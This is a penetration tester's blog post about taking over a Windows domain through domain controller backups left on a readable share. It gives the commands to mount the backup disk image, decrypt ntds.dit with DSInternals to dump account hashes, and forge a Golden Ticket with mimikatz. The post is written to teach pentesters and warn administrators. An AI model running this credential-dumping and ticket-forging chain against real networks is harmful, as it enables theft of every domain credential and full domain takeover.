Unprotected Domain Controller Backups -> Full Domain Compromise
31 Dec 2018Intro
In this post, I’d like to show you why you should not leave your old Domain Controller backups lying around if you are admin and why you should be happy to find it if you are pentester.
TL;DR
Skip to Recap
Lenghty Version
I’m not really experienced with testing Windows Domain networks but I got lucky and was given access into one. This was my first pentest of this kind and I had a bit easier situation as I got valid credentials to one low privileged user in the domain. The task was to penetrate as far as I could.
Initial Finding
I tried a number of attack vectors, searched available SMB shares but nothing. I spent quite some time jumping from one attack to another and just lost track of what I did and didn’t. Eventually, I realized that the network shares should be given a bit more care. To my luck, it paid off!
I found a shared folder called BACKUPS
containing Domain Controllers’ backups readable by any authenticated user. If I got my hands on ntds.dit
Active Directory database file, I should be able to extract password hashes of every domain account! Let’s see.
Inside the share, there ware separate folders for each of the 4 domain controllers. One of the DC folders looked like this:
Directory of \\blahblah\BACKUPS\dc001
2018-02-13 08:45 PM <DIR> .
2018-02-13 08:45 PM <DIR> ..
2018-02-13 08:45 PM <DIR> Backup 2018-03-19 022924
2018-02-13 08:45 PM <DIR> Catalog
2018-02-13 08:25 PM 16 MediaId
2018-02-13 08:45 PM <DIR> SPPMetadataCache
dc001\Backup 2018-02-13 011635
2018-02-13 08:45 PM <DIR> .
2018-02-13 08:45 PM <DIR> ..
2018-02-13 08:45 PM 9,764,339,712 27163d45-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 20,971,520 83423cde-0000-0000-0000-010000000000.vhdx
2018-02-13 08:45 PM 22,515,023,872 64eab400-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 62,914,560 64eab400-0000-0000-0000-80dd1f000000.vhdx
2018-02-13 08:45 PM 111,149,056 94f35c2e-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 2,574 BackupSpecs.xml
2018-02-13 08:45 PM 776 5e3c1f87-6edf-4482-9c23-cc9461bf989e_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
2018-02-13 08:45 PM 20,306 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Components.xml
2018-02-13 08:45 PM 9,138 5e3c1f87-6edf-4482-9c23-cc9461bf989e_RegistryExcludes.xml
2018-02-13 08:45 PM 2,940 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
2018-02-13 08:45 PM 7,432 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
2018-02-13 08:45 PM 1,746 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerd61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml
2018-02-13 08:45 PM 5,428,292 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writere8132975-6f93-4464-a53e-1050253ae220.xml
This is how it looks like when you perform Windows Server Backup. I didn’t know what was important and what was not so I archived everything, split it into smaller chunks and transferred on my Linux machine.
As you might have guessed, the .vhdx
files are images of hard drives used by backed up server. To better understand what these UUID names actually are, we can view Backup 2018-02-13 011635\BackupSpecs.xml
:
<?xml version="1.0"?>
<BackupSpecs Version="1">
<FileSpecs>
<Volume Name="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" AccessPath="" OriginalAccessPath="" Label="" OriginalLabel="">
<FileSpec FilePath="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{94f35c2e-0000-0000-0000-100000000000}\" AccessPath="D:" OriginalAccessPath="D:" Label="" OriginalLabel="">
<FileSpec FilePath="D:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{83423cde-0000-0000-0000-010000000000}\" AccessPath="E:" OriginalAccessPath="E:" Label="" OriginalLabel="">
<FileSpec FilePath="E:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{27163d45-0000-0000-0000-100000000000}\" AccessPath="F:" OriginalAccessPath="F:" Label="" OriginalLabel="">
<FileSpec FilePath="F:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{64eab400-0000-0000-0000-100000000000}\" AccessPath="C:" OriginalAccessPath="C:" Label="" OriginalLabel="">
<FileSpec FilePath="C:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
</FileSpecs>
<SystemState IsPresent="true"/>
<AllCritical IsPresent="true"/>
<ComponentSpecs/>
</BackupSpecs>
From the letters in AccessPath
, OriginalAccessPath
and FilePath
attributes you can find where were these hard drives mounted at the time of backup. I’m going for ntds.dit
file which should be found in %SystemRoot%\NTDS\ntds.dit
and %SystemRoot%\System32\ntds.dit
, where %SystemRoot%
is going to be most probably C:\Windows
. That means I need to read 64eab400-0000-0000-0000-100000000000.vhdx
somehow.
Mounting VHDX in Linux
VHDX is some Microsoft virtual hard drive format which you can mount in Linux, for example, using qemu-utils.
First you connect disk image to network block device:
# qemu-nbd -c /dev/nbd0 64eab400-0000-0000-0000-100000000000.vhdx
Then you can see it has two partitions:
# fdisk -l /dev/nbd0
Disk /dev/nbd0: 127.6 GiB, 137014280192 bytes, 267606016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 162F1224-AABB-CCDD-EEFF-D2B3951504E2
Device Start End Sectors Size Type
/dev/nbd0p1 34 262177 262144 128M Microsoft reserved
/dev/nbd0p2 262184 267565095 267302912 127.5G Microsoft basic data
The first partition contains some boot and BitLocker information, the actual C:
drive is on the second one, which you can simply mount like this:
# mount /dev/nbd0p2 /mnt
Getting Content of ntds.dit
Now I could finally search the drive for ntds.dit
and yeah, I found it in both /mnt/Windows/NTDS/ntds.dit
and /mnt/Windows/System32/ntds.dit
. The content of the file is, however, encrypted. The password for encryption is stored in the same file and is also encrypted but can be decrypted with the value of boot key which is stored inside SYSTEM Windows registry hive. The hive files are stored under %SystemRoot%\System32\Config
or in my case /mnt/Windows/System32/config
.
There are several tools you can use to get the hashes, on Linux you can use tools mentioned in this ropnop’s article.
I found it’s better to use PowerShell scripts from DSInternals if you have access to some Windows machine, it gives you quite a bit more information. I’ll show you here how I got the hashes using DSInternals. First, copy your ntds.dit
and SYSTEM
files to Windows and install DSInternals:
PS> Install-Module DSInternals
Then get the boot key:
PS> Get-BootKey -SystemHiveFile .\SYSTEM
123c51121e6254472e4c65a1f4537393
And view the hashes:
PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
Get-ADDBAccount : Object with identity 'CN=Partitions,O=Boot' has not been found.
At line:1 char:1
+ Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Get-ADDBAccount], DirectoryObjectNotFoundException
+ FullyQualifiedErrorId : DBContextError,DSInternals.PowerShell.Commands.GetADDBAccountCommand
WTF? I don’t know what was wrong, maybe some corruption during backup but none of the two ntds.dit
worked. After a while of cursing and searching around I mounted the other VHDX disk image and there on the F:
drive I found this:
$RECYCLE.BIN
NTDS
System Volume Information
SYSVOL
A backup of C:\Windows\NTDS
inside backup of F:
yo! This gave me one more ntds.dit
file to try aaaaaaand:
PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
DistinguishedName: CN=Some User,OU=Basic Users,OU=Accounts,DC=acme,DC=corp
Sid: S-1-5-21-123445567-1234565776-237463274-5762
Guid: 9cacd376-02ed-4ca7-ba78-adc565f25f2a
SamAccountName: someuser
SamAccountType: User
UserPrincipalName: [email protected]
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount
AdminCount: False
Deleted: False
LastLogon:
DisplayName: SomeUser
GivenName: Some
Surname: User
Description: ACN
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
SelfRelative
Owner: S-1-5-21-123445567-1234565776-237463274-512
Secrets
NTHash: 532525e124359744e51591e5053355b6
LMHash:
NTHashHistory:
Hash 01: 532525e124359744e51591e5053355b6
LMHashHistory:
Hash 01: 4ee58551e1e37b399f3d44592d52f2d2
SupplementalCredentials:
ClearText:
NTLMStrongHash: 38b237b10624d195dd422f291935234c
Kerberos:
Credentials:
DES_CBC_MD5
Key: 56c271d371411336
OldCredentials:
DES_CBC_MD5
Key: 4b3f1c5e4a11111d
Salt: ACME.CORPsomeuser
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key: 114a3537317512594f1e635c2352201aa4363283052204812b5d371d2eababab
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 433d543337265c4c10454f5e2dc2f132
Iterations: 4096
DES_CBC_MD5
Key: 19e3e9b991a431d6
Iterations: 4096
OldCredentials:
AES256_CTS_HMAC_SHA1_96
Key: 103152a5a572917325b3c1255315a3b3f492223e61933255a56f3f34413aabab
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 10c41525511e20053b191e19131d3e38
Iterations: 4096
DES_CBC_MD5
Key: 8f6d02d53b976492
Iterations: 4096
OlderCredentials:
AES256_CTS_HMAC_SHA1_96
Key: 334b3f3d1a48322553111425405451e1b1848361714e1243204f561ddabababb
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 121353f49124a459221f3715f4a17361
Iterations: 4096
DES_CBC_MD5
Key: 47335231e241f3c5
Iterations: 4096
ServiceCredentials:
Salt: ACME.CORPsomeuser
DefaultIterationCount: 4096
Flags: 0
WDigest:
Hash 01: 4d71b1e2c3d502e2f3514e474b4331ab
Hash 02: 13d1a4520114b4142e62a558454aabab
Hash 03: 42344f26403d5f221a46fe30d3950333
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:
... few hundred more ...
Yes! I could finally read the hashes for more than 500 accounts. Unfortunately, hashes were 10 months old from February and password policy required users to change passwords every 75 days, ugh.
Golden Ticket
There are some non-user accounts which don’t conform with domain password policies and their passwords are rarely changed. One of those is KRBTGT account. This one is used internally to sign all Kerberos tickets in the domain and if you know its hash you can create Golden Tickets. What’s that? Just a completely valid Kerberos ticket allowing you to impersonate any user from any group, even non-existing one.
At this point I found out I’m done with testing as I could use mimikatz to impersonate one of domain admin accounts and do anything I’d like:
PS> mimikatz kerberos::golden /domain:acme.corp /sid:S-1-5-21-123445567-1234565776-237463274 /user:SOMEADMIN.DCA /krbtgt:22e9535a571519374f2ab3262522d193 /ptt
User : SOMEADMIN.DCA
Domain : acme.corp (ACME)
SID : S-1-5-21-123445567-1234565776-237463274
User Id : 500
Groups Id : *510 516 524 513 512
ServiceKey: 22e9535a571519374f2ab3262522d193 - rc4_hmac_nt
Lifetime : 12/12/2018 15:33:39 PM ; 12/09/2028 15:33:39 PM ; 12/09/2028 15:33:39 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'SOMEADMIN.DCA @ acme.corp' successfully submitted for current session
PS> dir \\dc001\c$
Volume in drive \\dc001\c$ has no label.
Volume Serial Number is 3832-4843
Directory of \\dc001\c$
12/11/2016 01:45 AM <DIR> Logs
11/09/2017 05:35 AM <DIR> Packages
06/03/2018 04:57 PM <DIR> PerfLogs
04/07/2018 07:81 PM <DIR> Program Files
04/07/2018 04:13 PM <DIR> Program Files (x86)
03/06/2018 01:10 PM <DIR> Temp
02/04/2018 10:04 AM <DIR> Users
02/22/2018 07:31 AM <DIR> Windows
8 Dir(s) 193,487,342,120 bytes free
Recap
- Domain Controller backups might contain Active Directory database file
ntds.dit
and SYSTEM registry hive - SYSTEM hive has boot key that allows you to decrypt
ntds.dit
and get NTLM hashes of domain accounts - NTLM hash of KRBTGT account lets you create Golden Ticket to impersonate other users
- Impersonation of domain admin accounts is basically game over
Takeaways
- Even older unprotected backups might lead to full Domain compromise
- Make sure haven’t missed anything interesting in network shares during a pentest
Do you have any idea why I couldn’t get hashes of these two ntds.dit
files? Have any other thoughts? Hit me up on Twitter @malacupa.